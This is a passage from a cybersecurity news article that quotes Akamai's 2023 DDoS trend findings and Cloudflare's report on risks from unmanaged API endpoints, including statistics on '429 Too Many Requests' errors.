Akamai, which also published its own retrospective on DDoS Trends in 2023, said "DDoS attacks became more frequent, longer, highly sophisticated (with multiple vectors), and focused on horizontal targets (attacking multiple IP destinations in the same attack event)."

The findings also follow a report from Cloudflare about the increasing threat posed by unmanaged or unsecured API endpoints, which could enable threat actors to exfiltrate potentially sensitive information.

"HTTP anomalies — the most frequent threat toward APIs — are common signals of malicious API requests," the company said. "More than half (51.6%) of traffic errors from API origins comprised '429' error codes: 'Too Many Requests.'"

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Tag

#dos